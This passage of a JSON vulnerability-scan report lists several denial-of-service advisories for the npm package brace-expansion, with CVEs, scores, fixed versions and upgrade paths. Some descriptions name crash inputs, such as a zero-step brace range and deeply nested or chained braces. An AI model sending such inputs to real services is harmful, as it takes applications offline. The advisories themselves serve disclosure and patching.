"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
